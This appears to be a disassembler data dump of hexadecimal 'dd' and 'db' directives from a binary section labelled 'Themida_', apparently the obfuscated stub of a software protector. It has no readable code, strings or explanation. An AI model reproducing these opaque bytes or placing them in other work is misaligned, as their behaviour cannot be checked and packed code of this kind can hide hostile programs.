dd 8D8DD00Bh, 5E76DACh, 0BD0BC38Ah, 5E21D4Dh, 0BE98D89h
dd 0C7FC05E2h, 0E2076185h, 63D405h, 5585C700h, 5E21Bh
dd 8B000000h, 0E21E8185h, 0E5B5FF05h, 6A05E210h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 78A3C355h, 0E4E02CFDh, 958961F2h, 5E22A75h, 0B1595FFh
dd 858B05E2h, 5E20A9Dh, 95FF006Ah, 5E20AB9h, 7FEBC08Bh
dd 0CF582182h, 0AA55413Ah, 84973CE4h, 73DBB3ECh, 13E23823h
dd 0BC7679B7h, 0FB0D2C78h, 41CB3B16h, 6E5D3874h, 0BE23F9FBh
dd 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 1CD5383Ch, 0AA389BC2h
dd 8D4A41C9h, 5597A3EAh, 91644FA0h, 0E4A3713Eh, 1812F757h
dd 2B98CC4Fh, 64E49242h, 0F3BD38D4h, 0C7956493h, 4DEBDC32h
dd 0A93F2569h, 0F7CD76D8h, 911ABB68h, 48B0A214h, 577C0B8Eh
dd 0EDFAADDFh, 8D4BC67Fh, 0E2016D9Dh, 39B805h, 85890000h
dd 5E20BA5h, 0E8h, 0D055800h, 89000000h, 39E903h
db 2 dup(0)
word_544B0A dw 0 ; DATA XREF: Themida_:004EDE24o
dd 0Dh dup(77E6h), 0E8FF77E6h, 8, 9A4CBBBAh, 3A5846CBh
dd 8280BF66h, 0FA8B605Eh, 4810Fh, 0BA660000h, 8161510Bh
dd 5B49C6h, 0BB00h, 0F9510000h, 1E148B59h, 68F281FCh, 66587E7Ch
dd 818D93BFh, 41FC8DEAh, 10C28163h, 0F1F85D0h, 1489FFBFh
dd 8F71BF1Eh, 8A0F5AC7h, 0Ch, 6890Fh, 840F0000h, 0
dd 0E801EB83h, 14h, 17C28017h, 72F442ADh, 78A99F22h, 0F88B9B93h
dd 879B3FC7h, 4B58C18Ah, 0FB8B4B4Bh, 0A554FB81h, 850FFFFFh
dd 0FFFFFF99h, 0B830Fh, 820F0000h, 5, 1FBD9EB8h, 0EFE94Bh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 65DDCEC3h, 0CF8B6660h, 615AF080h, 6FAAB58Dh
dd 0CE905E7h, 35000000h, 0A2E2E1E3h, 76853BEh, 8D5A2A18h
db 85h, 0Eh
word_544C2E dw 0E554h ; DATA XREF: Themida_:004EE554o
dd 8160F505h, 0DA21A8F7h, 62BB6642h, 0D0FF6138h, 6AC3FCh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 7212C1C3h, 0D98C66F8h, 0A8E0Fh, 5E90000h, 4B000000h
dd 21B10507h, 0F04C1F6h, 3F84h, 0BF0F6000h, 61CF8AF1h
dd 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h
dd 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh
dd 75490A75h, 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 8B0FCF00h
dd 9, 8E0FFC60h, 0
dd 0BB666061h, 0D381404Ch, 6888A40Dh, 0E585C761h, 3F05E76Fh
dd 8D000101h, 0E770BF8Dh, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 89F85E56h
dd 0E20BE98Dh, 0C1B52B05h, 0C705E20Ah, 0E2076185h, 72B805h
dd 58F0F00h, 66000000h, 0E93DCE81h, 1B5585C7h, 5E2h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 9349DFC3h, 0FF6D289Ah, 0E21DF1B5h, 85958B05h, 0FF05E201h
dd 0E20B1595h, 259D0105h, 6A05E233h, 0B995FF00h, 8B05E20Ah
dd 694DEBC0h, 0E2DA4C7Bh, 0A05237EDh, 0E4A0C4A2h, 8D40D9B2h
dd 38B4E9F8h, 7C5BF51Dh, 0FA2F2A87h, 4019BFF7h, 0B06591CDh
dd 0C02E28B5h, 0B5ED281Ah, 5B676743h, 8EAA7786h, 0B1EFC155h
dd 895680EBh, 1638278Dh, 615AEACAh, 7C5033E9h, 0C816B62Ah
dd 60EBh, 17h dup(0)
dd 0F2E90000h, 0E900000Ah, 0AE6h, 0E7791568h, 0E8DE905h
dd 3F68FFFBh, 0E905E77Ah, 0FFFB0E83h, 0E77AC968h, 0E79E905h
dd 3F5FFFBh, 0AE261B87h, 5D9DECEAh, 1F4B551h, 0B12A1FBBh
dd 0A948E7E3h, 3DD9E714h, 9B078D4Ch, 626834A6h, 36DCDA1Fh
dd 0E152F70Eh, 30F9FFC8h, 6B6E894Dh, 32B5C625h, 0C746F9C7h
dd 31545084h, 0B9B2A384h, 1463FC18h, 6592D7B3h, 9BE2B02Dh
dd 9F86E552h, 0E9D1BDCh, 8775FCCDh, 0FEA1E03Bh, 0E26BB2F6h
dd 0B999DA7Fh, 0F348FC18h, 2E7467EAh, 0EAE2AE3Bh, 92B4159Dh
dd 3AA32249h, 764F574h, 0BAEE609Fh, 226D08D1h, 912A7863h
dd 4672DAEh, 26128C1Dh, 23EAD29h, 793FB6B9h, 6B37A322h
dd 6125D110h, 8CA0AD1Ah, 0D9283C9Dh, 68C70200h, 7A3EB6F9h
dd 0DEF29B5Ch, 0DD490EABh, 0AB80F9F0h, 9AED150h, 0F9F0DD48h
dd 0F30A9642h, 4667DC7Ah, 0E804DE1Bh, 9D8E4F0Eh, 0C1C70E71h
dd 6E400E94h, 0F40E969h, 0C6FC18B9h, 9C0D3C69h, 5D702FE7h
db 1Eh, 0E2h
word_544F42 dw 0EDD9h ; DATA XREF: ___:off_4274E0o
dd 0EFAE704Ah, 1C59ACEAh, 726CF2CBh, 0E1CD3A86h, 0C98A2FAEh
dd 18FC18B9h, 0C68C9A23h, 4078855h, 0E542C53Dh, 0FF18B974h
dd 0BABB1CADh, 6BFF18B9h, 9906A71Ch, 44h, 567A18ADh, 4809AE68h
dd 99FC18B9h, 132D087Eh, 0C6331868h, 0AF7BD643h, 3AC865C8h
dd 2FAEC5A1h, 0DBFC48BAh, 1E2F2C6Ch, 0FC180E5Dh, 0E32EBFF4h
dd 22666EDBh, 3C787C3Fh, 6F5B6CE9h, 318E4A70h, 0B4000000h
dd 68567A18h, 6F6C2FAEh, 4891DA21h, 18B96EEFh, 0F9FDBCFCh
dd 0DCED6EBDh, 400306B3h, 45F6159Bh, 94AE8664h, 0AD28666Eh
dd 7DAAF8E5h, 4A70BA00h, 0D0577B18h, 0FADF1777h, 4EF14E01h
dd 0C6A625D9h, 0CD1EA265h, 86A4D9A6h, 31B7F9FAh, 520FC245h
dd 82BC3FE6h, 86000001h, 2C537F18h, 18B9C28Bh, 0D13403FCh
dd 0A723696Eh, 23696EB9h, 48CB4A87h, 18B96EEFh, 0FFC8A7FCh
dd 567A180Bh, 23B43568h, 114EE2A9h, 1DE9F288h, 4078855h
dd 5882C53Dh, 23843154h, 42FEh, 7A18C000h, 0E219995Ch
dd 0D70C49DCh, 0ECCA07B4h, 37B39AEh, 0B48D0F2Ch, 0A4BEC13h
dd 0DBFC182Dh, 94AE466Ch, 8422666Eh, 0DBD639AEh, 0FEE52149h
dd 0AE7E7CEDh, 0B9C98A2Fh, 2318FC18h, 33379Ah, 0AE4F0000h
dd 47A6ECEFh, 56FCB516h, 9AE7472h, 0FC18B948h, 45960382h
dd 0A2B6023Bh, 86530425h, 0B582FC18h, 5BCE0B14h, 0AD3E118h
dd 6E94AE3Ch, 70842266h, 537F184Ah, 0B9C68B2Ch, 5514FC18h
dd 5481E4A2h, 0CD581773h, 0D0575582h, 83246A91h, 2FAED987h
dd 18B9C98Ah, 9A2318FCh, 5E6422D7h, 7A18704Ah, 0B4356856h
dd 0C58E723h, 0E3C4D31Fh, 7885507h, 44C73D04h, 0FB000000h
dd 0D3567A18h, 0A4258746h, 0C6E72334h, 4809AEE0h, 99FC18B9h
dd 0B98ECF68h, 0E847FC18h, 94AE37B3h, 8422666Eh, 0B7C639AEh
dd 0C0484B59h, 78BC4B57h, 16B7B63Ch, 0EFAEB135h, 115AA1EDh
dd 2269C8h, 189D0000h, 0AE68567Ah, 18B94809h, 0CBF764FCh
dd 0A2E8EFAEh, 0DDE3185Bh, 0F7D00D4Eh, 666EB288h, 4A708422h
dd 0AAEEEFAEh, 0D4376C30h, 0EEFB4667h, 0B8000000h, 0B9DF9039h
dd 0E576FC18h, 0DA97DDDCh, 6F78B56Ah, 8F7F189Bh, 388626B9h
dd 7F78AF80h, 0FC5DCC39h, 0FC18DA73h, 8D13C689h, 0A91EE3Ch
dd 2E2F880Bh, 0E7FC18DAh, 1FA35988h, 505683CEh, 696E8C4Ah
dd 0EFAE8723h, 7219A2E8h, 5C7A1888h, 4D8E1D9Bh, 0B435AA10h
dd 8BE46423h, 51FA0E21h, 0B3B324A0h, 0C7A30400h, 0A6ECEFAEh
dd 7BC6105h, 34133D04h, 57000000h, 0D3567A18h, 0A7EB1150h
dd 5361744h, 0DCFC18B9h, 0AE604667h, 18B94809h, 4A299FCh
dd 666E94AEh, 39AE8422h, 3B5638D5h, 52F3D4A0h, 478E94h
dd 18B40000h, 0AE68567Ah, 0CE6BEDEFh, 0FC18B98Dh, 6BB2EF44h
dd 0B9CE8F28h, 2807FC18h, 24A7EAF3h, 0B4F8E2A5h, 18B9A293h
dd 0A30473FCh, 18B9195Ah, 3A8035FCh, 0C98A2FAEh, 18FC18B9h
dd 0B7ECB229h, 6ED3EB16h, 70842266h, 23696E4Ah, 5F6399D8h
dd 8309CEB3h, 0B9601F78h, 0F49FC18h, 880ECB37h, 0FCBA3F02h
dd 3AF847A9h, 0F9C73477h, 208E66E0h, 0E2D5F1B7h, 71D6497Dh
dd 1FADF11h, 0B790EB40h, 0F9FA9FBAh, 0C069E8A9h, 0F9FA9F8Fh
dd 96D0E946h, 39B66B9Eh, 12153FE6h, 29000000h, 0D823696Eh
dd 18B9FE7Fh, 0D5A1ABFCh, 0AC2A7069h, 0EBEFAEA6h, 10CB44A7h
dd 0B7A437FCh, 0FA5FC23Fh, 0FC189579h, 470AD3A8h, 38F11492h
dd 8087EB1Bh, 0BAC50FCh, 0EA0EABDEh, 3602001Dh, 112112B7h
dd 0BBF0F9FFh, 5485E422h, 0FAFD1956h, 69CE7155h, 41D7739h
dd 0AF881368h, 0F7D17792h, 386F4781h, 45CDE1E5h, 304Ah
dd 0E344C700h, 0F7D17B72h, 961ADEA3h, 18BA8059h, 8B2C537Fh
dd 0FC18B9DAh, 0E6AC5110h, 77EA41C5h
dword_545350 dd 0D2F8C434h, 2A8Fh, 894D0C00h, 6C7DFE0Dh, 537F189Eh
; DATA XREF: ___:off_43BF7Co
dd 0B9C68B2Ch, 300FFC18h, 6A2C9831h, 8CD0CB3Bh, 45B5F43Bh
dd 0DB2516B3h, 87FCFC18h, 8E864C4Ah, 18Ch, 527E18B4h, 0AE704A94h
dd 39386639h, 0A700044Bh, 0A2A53FB8h, 0E9544D86h, 0D643C633h
dd 2E8995BEh, 0EFCCD25h, 88550F35h, 0C53D0407h, 34575582h
dd 17954087h, 4849B6h, 47C60000h, 18B971E2h, 0F2CBA0FFh
dd 987E1834h, 18B93E3Fh, 2398D7FCh, 4809AE87h, 99FC18B9h
dd 94AE04A2h, 0AC2C6A6Eh, 5FAEEAEAh, 0F574A11Eh, 244745B2h
dd 0B99BDC7Dh, 0FD4AFC18h, 10964180h, 4A70F3B7h, 358Eh
dd 7E18B400h, 9F22E8Eh, 39BC00D9h, 0EDC90673h, 0B94809AEh
dd 2B64FC18h, 0E4867B81h, 2326935Dh, 93347860h, 6E94AED7h
dd 0B623266Ah, 992E2B61h, 0C5A13AEFh, 696E4A70h, 0EFAE8723h
dd 6C30A8E8h, 467DC19h, 246FF6D7h, 0DD287665h, 9A69FF98h
dd 917CC236h, 7A187248h, 0F356856h, 4078855h, 42C73Dh
dd 18FB0000h, 90D3567Ah, 0A7832468h, 0B94809AEh, 0C382FC18h
dd 3495941Ah, 0FC18B903h, 0C64465D2h, 0B95506A3h, 0BD8CFC18h
dd 0CA077C3Ah, 0AE94AEECh, 414BDE39h, 3C8D24DEh, 0F9C5C135h
dd 308E4A70h, 0B4000000h, 68567A18h, 0B94809AEh, 0C382FC18h
dd 2D369713h, 39AE02A8h, 0ED9EF98Dh, 0B4A5B669h, 3CC0BFE4h
dd 0CFF73A83h, 8422666Eh, 0A1EDEFAEh, 6E834718h, 7E21206Ch
dd 65D6357Bh, 22503944h, 0F7FC18B9h, 0D28FE176h, 1B1838E0h
dd 5EAC98C2h, 0F811109Ch, 0C1ABFBFCh, 2167901Ch, 63D475F4h
dd 0B2FC186Dh, 3826E4C5h, 0C5206C6Eh, 2D5C609Ah, 0B94C0DAAh
dd 0AE85FC18h, 0ECF761Dh, 0FA6580h, 812669BCh, 0FC18B9D0h
dd 62C42A01h, 0A9C82E92h, 1DAEF2E6h, 0E7156155h, 0CBD1F07h
dd 0DC09646Eh, 0D2A9536h, 0F432FC18h, 3A04E81Ah, 0FFFE2CB5h
dd 8A7332FFh, 777EE104h, 7E3C431h, 18B9FB88h, 0B9922FFCh
dd 2A46FC18h, 0D6FC18B9h, 0CF5E6497h, 5FD43D8Eh, 0ADFC18B9h
dd 1DAEEAEAh, 18B9BFB4h, 0B9D66BFCh, 8D92BC18h, 2D9A28D3h
dd 0B50B9D3Ah, 0D5A2C1FDh, 0FAD479B6h, 326FBEFAh, 368D9A8Ah
dd 2B60DDA4h, 9B6F9334h, 3A6C41Eh, 0DE12B5A6h, 0DA176C37h
dd 814DCD5Dh, 68CB5E3Eh, 2A4h, 9D397D7Bh, 666C28ACh, 0CFCBD703h
dd 913D7B7Ah, 79652BD0h, 619A23C2h, 7F2B753h, 0AE2C1DB9h
dd 5485E4E2h, 7D844856h, 0FFC09BDCh, 3CB4AF9h, 0D823696Eh
dd 904462EFh, 0FA8DF14h, 2002AEDh, 1C4F4B20h, 0F9FFC867h
dd 170A3E23h, 0E75B8EB2h, 77EA4107h, 8C0FC334h, 0D65B2A2Bh
dd 0BB8CFBF7h, 0F7D65BBAh, 3BA71C6Bh, 8816C786h, 60EFF87Dh
dd 8DEA3177h, 0F7D65BC8h, 9C83A7ACh, 0CEC8913Bh, 77C09h
dd 0F4129841h, 8C4C44B5h, 0F1B0CB00h, 6AAEF958h, 0FAC3726Ch
dd 39281C01h, 0B6AB7890h, 42058413h, 5361795h, 0DCEB854Ah
dd 6BC04667h, 96BAA710h, 0D9163693h, 72C9159Dh, 4D4B8CCFh
dd 535F9BDAh, 4A5089C8h, 7C4DBA33h, 981EDBAEh, 0B70F240Dh
dd 0C64BE19Dh, 5BFC7FE2h, 0E19DC71Ah, 0C7C677D0h, 201FE19Dh
dd 357C4D3Ah, 85540094h, 5E7C9F1Fh, 0A4EA13F1h, 5E031441h
dd 0ADDC0926h, 18A1EFEAh, 0AB9F847Dh, 0B905F5B4h, 3658E120h
dd 0F2229610h, 0D2E79965h, 0C5E68115h, 0F78DEA41h, 74E0F998h
dd 17A4E11h, 0A7510000h, 5282E7E3h, 1F94856h, 0A55011BDh
dd 5586FBE7h, 4D34434Fh, 99058B70h, 676331A8h, 0CED4D802h
dd 92387E7Bh, 45F653D2h, 9CF9FFC3h, 0EFAE5591h, 2E07A0EEh
dd 5B1A0D21h, 43CE1F9Bh, 2AD6E6h, 8078C902h, 4BA4C73Ch
dd 0DB913EC6h, 15A62A8Eh, 14054B6Eh, 0B38C60C3h, 0FB148CD2h
dd 1691BAF7h, 0E2D739B1h, 0A9285F94h, 36A7F3E6h, 9CC3368h
dd 0B5D13A83h, 0EC041DCDh, 0E15E5C9Dh, 7EE0FA84h, 49287DFEh
dd 0F0h, 697531A7h, 32D8DC18h, 9B078B4Fh, 6D692FA6h, 35D1DF1Ch
dd 15C6D7BEh, 0BB3E038Fh, 6298E9F5h, 8F1B05Eh, 29580482h
dd 0FFC3CF80h, 0DF1F06F9h, 9C5D7B18h, 62DFE514h, 0F953235h
dd 8602002Ah, 0CBA939A3h, 77ABBC54h, 8386F328h, 0A9117C0h
dd 575D9EC1h, 25A4EF76h, 0D1347862h, 0C392C364h, 0F443F9FFh
dd 2D6B6CD3h, 387E7B3Ah, 5186FBAFh, 5AC7304Bh, 0EA56F376h
dd 2D07E750h, 0FDF94856h, 0AC2C1DB9h, 5087FAE0h, 1B453096h
dd 76A3DDE8h, 0DEE41968h, 68C7130h, 6C32A998h, 0CF5F6CFDh
dd 5198A18h, 5983E6A4h, 0FFF84955h, 0ADEC1DB9h, 125D6E2Ch
dd 8C3DD9E7h, 0B1ABAC0Dh, 0D7AF7D6h, 6A5EC3BCh, 22EE52F7h
dd 4A2109CEh, 74D554D7h, 0EDADC0C3h, 53042512h, 82EDADC0h
dd 0C60914B5h, 0DA0F8B11h, 8, 0DEE2185Bh, 9DA7390Dh, 0D92C686Eh
dd 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h
dd 9B21D4h, 769519C1h, 788307CFh, 0E08950F2h, 405h, 4E88300h
dd 8B240487h, 0ED682424h, 89000033h, 56682414h, 8900000Fh
dd 0B8502404h, 1ABA0EE4h, 2D62B705h, 8BC289EBh, 0C4832404h
dd 4EC8104h, 89000000h, 4812424h, 424h, 89575800h, 48157D7h
dd 236E5024h, 8408F5Dh, 50086881h, 5F5D236Eh, 5124048Bh
dd 0C181E189h, 4, 4C181h, 0C870000h, 34FF5C24h, 0C4815A24h
dd 4, 0FB03B6E9h, 0BB4F5DFFh, 0DEB84D43h, 305E77Bh, 0E8C38BC5h
dd 8, 74D74DC1h, 0F641BDE6h, 9C27D181h, 0FC5E1E1Eh, 669FC681h
dd 81660000h, 68DC83F1h, 197Ah, 14E9h, 13FBF800h, 355DC9FEh
dd 0C9ADBCE1h, 225F0422h, 0B322FECAh, 0ED805A31h, 0BB36FFD0h
dd 7ADA98A2h, 0C781F55Fh, 11EE29FBh, 4949BB66h, 0E6ACC781h
dd 8B663306h, 71F781C6h, 816AFBCCh, 0B8136BDBh, 0B03E8944h
dd 4EE8353h, 0BE9h, 27057500h, 0AC0E21A0h, 0FC07FC1Ah
dd 1EA81h, 850F0000h, 1Bh, 0E96BE780h, 2Bh, 0AB398DB3h
dd 519526A3h, 875A8874h, 0EF22B68h, 0E9A596BFh, 0FFFFFF95h
dd 84C89D32h, 0FD33E4FFh, 0E161465h, 203A4CDBh, 0D8FAA5A8h
dd 7EAB113h, 66A6DD4Ah, 0A3F228AEh, 3063C71h, 587A4035h
dd 87FC9170h, 5881D285h, 0B33AC85h, 7D44E724h, 4F209378h
dd 84332888h, 0B63C9030h, 9933913Dh, 0CF2778CDh, 98B89135h
dd 20F62CB6h, 963394D7h, 0CC33C0B1h, 3633FB35h, 333392DDh
dd 5A6BB135h, 0E877186Dh, 42771031h, 33338B31h, 5A63D135h
dd 0D06F364Fh, 93BA13AEh, 33314CDCh, 0CA33FB35h, 0CC3392DDh
dd 0A568B135h, 176F186Eh, 0BD771031h, 0CC338B31h, 0A560D235h
dd 687BC22Bh, 963C24F4h, 47655A8Ah, 0E3BECFCCh, 36D4EC79h
dd 993385DCh, 4A632C35h, 3744DDBh, 6E23BAE3h, 4861DFC3h
dd 0BBAF4610h, 6FDBC145h, 5B339135h, 7CC60E2Bh, 5E47A278h
dd 3FC41A53h, 591795BCh, 9ADBC135h, 0EC339135h, 0EF6B526Dh
dd 0B237B571h, 8437B571h, 8C339135h, 2DCD5265h, 290F28C0h
dd 93118E59h, 49BE5BBFh, 63D4EC1Bh, 4DA1053h, 9E8A0177h
dd 9C33D4B3h, 0CA35ABEh, 30DBC335h, 0B9339135h, 4569526Fh
dd 0E737B561h, 2637B571h, 0DB339135h, 0AA9A5267h, 0EE89F755h
dd 0EAB2F773h, 7052C5CDh, 0CC339130h, 0C104B9C1h, 0BAA66EC6h
dd 0C936732Fh, 0CB8C8C9h, 8E64915Fh, 33339136h, 0C6F0CE15h
dd 0C817EDBCh, 6217D5B4h, 33339123h, 13F0C672h, 16B373C0h
dd 0CF8E1271h
dd 3336732Bh, 24B09840h, 0C9D18930h, 362AE535h, 8BF31A66h
dd 9933954Fh, 0FD6E14BCh, 0FBBE94D7h, 36D723CFh, 0C16842CAh
dd 0D4362CB6h, 123394D7h, 8B60C122h, 9933954Fh, 0FD6E14BCh
dd 0FBBE94D7h, 36D73EDCh, 0C16842CAh, 0A6E01A53h, 65DBC335h
dd 13339135h, 1069526Fh, 4D37B561h, 7C37B571h, 71339135h
dd 0FD1D5267h, 0A29B7273h, 0DCE01A6Dh, 5BF05DDh, 68B251BEh
dd 92158649h, 1B050CB8h, 0B6BE94D2h, 9CD4FE68h, 0CC3F103Ah
dd 61DA9135h, 5E339135h, 0E60EAA3h, 1CCC1030h, 0E23C513Eh
dd 3333911Dh, 0DBAE1CC0h, 4D367379h, 815ED6DBh, 33302956h
dd 43B29135h, 0A9E54BCCh, 0E63C72CAh, 3333913Dh, 99311C3Ah
dd 96629135h, 1B0D0CB8h, 0B6BE94D2h, 9CD4FE68h, 79BA63B4h
dd 0B6CCFDA8h, 19062853h, 1D3C513Eh, 0CC33916Bh, 2A710CB8h
dd 555394D7h, 7FCD5EB4h, 0ADF12E3Ah, 6633908Dh, 6433FB35h
dd 993392DDh, 0F6CB135h, 424F186Ah, 17771031h, 99338D31h
dd 0F64D635h, 76EFA08Ch, 15BBA151h, 0F3D06E89h, 0CFDBC335h
dd 46339135h, 0BA69526Fh, 1837B561h, 0D437B571h, 24339135h
dd 89225267h, 0FF220AD4h, 51BE6FBEh, 63D4EC76h, 0E5B8F755h
dd 0F8FC1A53h, 49BE5B83h, 63D4FE68h, 3333163Ah, 49CC9135h
dd 2466915Fh, 66339136h, 6EF0CC15h, 9D17FDBCh, 0C817D5B4h
dd 66339122h, 0A5F0C470h, 96A8D862h, 0CC3397B8h, 0DF55C335h
dd 386D8EA9h, 0DEB79EF5h, 0AC339135h, 93E446B5h, 71AE1C54h
dd 0F3367379h, 0CFDBC335h, 46339135h, 0BA69526Fh, 1837B561h
dd 0DB37B571h, 24339135h, 0BAED5267h, 9A8B65B0h, 0C3339135h
dd 663391B4h, 53D06E35h, 993394DCh, 0D1E9B835h, 7C6ECDAh
dd 3C705ABEh, 993396BDh, 9A89C635h, 383E42EDh, 4E1F2CB8h
dd 14BE94D2h, 0C9D41190h, 2D6FEC8Dh, 2AB6A2BFh, 0B236731Eh
dd 0B8DA50FAh, 0D21B0D0Ch, 68B6BE94h, 0B49CD4FEh, 0A879BA63h
dd 53B6CCFDh, 3E190628h, 0F305E983h, 0F8C08BA4h, 14E8h
dd 8F054D00h, 8859DC08h, 0F140CD09h, 0A113A7Fh, 0E8A1D0C5h
dd 52F86084h, 8B5A615Eh, 92EA81C3h, 8B757C24h, 0BE8C0h
dd 0D2AC0000h, 3EA09E05h, 17937472h, 0C7816634h, 835A8500h
dd 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h, 8B535019h
dd 47AB8C0h, 85890000h, 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h
dd 0BD83585Bh, 5E21805h, 50177400h, 47AB853h, 85890000h
dd 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 47B2585Bh, 0A834D281h
dd 0C08B27C5h, 82018D8Dh, 0B58B05E7h, 5E21809h, 0BE98D89h
dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 56811C3h, 858B11BCh, 5E22AE5h, 76185C7h
dd 582C05E2h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0C7E3BAC3h, 0E21B5585h, 5, 0FFF98B00h
dd 0E20659B5h, 11950105h, 0FF05E231h, 0E20B1595h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0ACF80A72h, 93EA5DDCh, 0FF006A0Dh, 0E20AB995h, 0EBC08B05h
dd 0C534E56Ah, 0CEFD125Ah, 79CC5EFEh, 0AFCE3CEDh, 9A5B2BCFh
dd 2A8202E0h, 0A4C0589Ch, 0F572797Bh, 855491DAh, 0AF6AF6D1h
dd 0F32DE06Bh, 93B75D83h, 0F7F81B48h, 0C62702Dh, 6DC649E8h
dd 0E73E0FA2h, 51627F69h, 5604FBABh, 0D6245625h, 42022054h
dd 0E60E7BC3h, 96D91067h, 0BF9AA8CFh, 25067702h, 0F4F80246h
dd 76F426D0h, 8D248AC1h, 0E783458Dh, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E8F9E22Eh
dd 0Ah
dword_545F50 dd 870922ECh, 497FD651h, 0BD01FFF3h, 5E23159h, 0E98D895Ah
; DATA XREF: Themida_:004EF208o
dd 6A05E20Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 841FC357h, 87A39A34h, 85C7F9DBh
dd 5E20761h, 6844h, 6890Fh, 0B5890000h, 5E21B65h, 0CE9h
dd 69586B00h, 0C642971Ah, 4E378950h, 5585C7C1h, 5E21Bh
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 5FADC356h, 0FF3BC095h, 0E20659B5h
dd 95895105h, 5E21551h, 1595FF5Ah, 8B05E20Bh, 0E218A1BDh
dd 0FF006A05h, 0E20AB995h, 0EBC08B05h, 0ED122A6Ah, 72E55827h
dd 0DF84A849h, 0FFCC4470h, 42F0CB7Ch, 335730D9h, 945C1F86h
dd 49912999h, 8E97B60Dh, 9789F0F8h, 7E837EEBh, 0E7F977EBh
dd 0F67467BAh, 0B4318117h, 731960C0h, 2BB9BA79h, 5678761Dh
dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 0CED787DFh, 0C9936610h
dd 99127E98h, 6A092F0Fh, 0E4B64848h, 0A5AF8478h, 0E8857797h
dd 13h, 32FE5A59h, 0BB443D2Dh, 628C4AE6h, 30227D90h, 81159806h
dd 0FA6719D9h, 6E95B57h, 0BD000000h, 50FAFE52h, 45C3815Dh
dd 8B000071h, 1C20BAC2h, 870F0000h, 4, 0A338B966h, 0BD8B33FFh
dd 5E230E1h, 0CF81665Eh, 0C681DFD0h, 5FB2CEC2h, 4A98D8Bh
dd 0EE8105E2h, 2931417Eh, 0C8C0Fh, 890F0000h, 6, 77DB589h
dd 0C68105E2h, 1574E714h, 2669BD09h, 0F95605E2h, 8B0F038Fh
dd 4, 8B3AB966h, 8104EB83h, 1EAh, 1C850F00h, 81000000h
dd 1EC4BED1h, 27E969h, 3C430000h, 0BFD85844h, 6F906470h
dd 667B1BD9h, 8074EA44h, 81E91FE4h, 17FFFFFFh, 5C7E3A8Ah
dd 2F18F2C5h, 3D8A00B8h, 9E84Bh, 0D2B10000h, 974C2658h
dd 3448DD4h, 0E216F585h, 8D8B5E05h, 5E22AC5h, 6715C681h
dd 91BA0000h, 89000019h, 0E2296985h, 2336FF05h, 0E22669BDh
dd 33B45B05h, 873DC381h, 0E9517038h, 9, 98594C10h, 0F4B03EEEh
dd 0C3815F68h, 353F12C2h, 0C381E38Ah, 13278DB2h, 1505858Bh
dd 1E8905E2h, 10E9h, 4C8C3C00h, 0D9593F95h, 8FEB96DDh
dd 2C6EF41Eh, 49EE812Bh, 0E82A27BFh, 0Dh, 513ABFC2h, 0F7762293h
dd 35B2C86Bh, 0FBBF0F60h, 45C68159h, 0F2A27BFh, 8Fh, 1EA8300h
dd 19850Fh, 0E5800000h, 29E933h, 65380000h, 23B90261h
dd 9D0A59FEh, 0E23AA650h, 8B35928Dh, 0E2217DBDh, 0FF5FE905h
dd 886EFFFFh, 2CC30D04h, 7369D3AEh, 0E9E9EF49h, 266h, 0D98C6660h
dd 0F04C1F6h, 3584h, 0FF016A00h, 0E2262DB5h, 61858D05h
dd 0FF05E57Ah, 158589D0h, 8B05E22Dh, 0CEFC1FEh, 6000068h
dd 6A006A20h, 0D685702h, 0FF000100h, 0E22D1595h, 32E905h
dd 85C60000h, 5E20A49h, 30DF6856h, 0B5FFA9C5h, 5E216A1h
dd 7A61858Dh, 0D0FF05E5h, 24798589h, 858D05E2h, 5E20935h
dd 6A406A50h, 95FF5605h, 5E22479h, 0C361h, 2 dup(0)
dd 8B520000h, 428B60D4h, 0DF858908h, 8B05E785h, 85890C42h
dd 5E785D7h, 8910428Bh, 0E785DB85h, 15B58D05h, 8D05E786h
dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 85DFB58Bh, 858B05E7h
dd 5E785D7h, 85DBBD83h, 0F0005E7h, 784h, 0E9068900h, 2
dd 0CF0688h, 0
dd 52000000h, 8B60D48Bh, 85890842h, 5E785DFh, 8666B58Dh
dd 858D05E7h, 5B7E35h, 5A61D0FFh, 85DF858Bh, 4C205E7h
dd 0DF858B00h, 8B05E785h, 0DF858900h, 0CF05E785h, 0
dd 3CB58960h, 8905E786h, 0E7863885h, 0DD858D05h, 8B05E231h
dd 85894440h, 5E78675h, 86ABB58Dh, 858D05E7h, 5B7E35h
dd 8B61D0FFh, 0E7863C85h, 9D8BC305h, 5E78638h, 3C43B70Fh
dd 5B8BD803h, 389D0378h, 8B05E786h, 0B5032473h, 5E78638h
dd 207B8B56h, 31C738Bh, 0E78638BDh, 38B50305h, 0FC05E786h
dd 41FFC983h, 863C9D8Bh, 178B05E7h, 86389503h, 0C78305E7h
dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh
dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
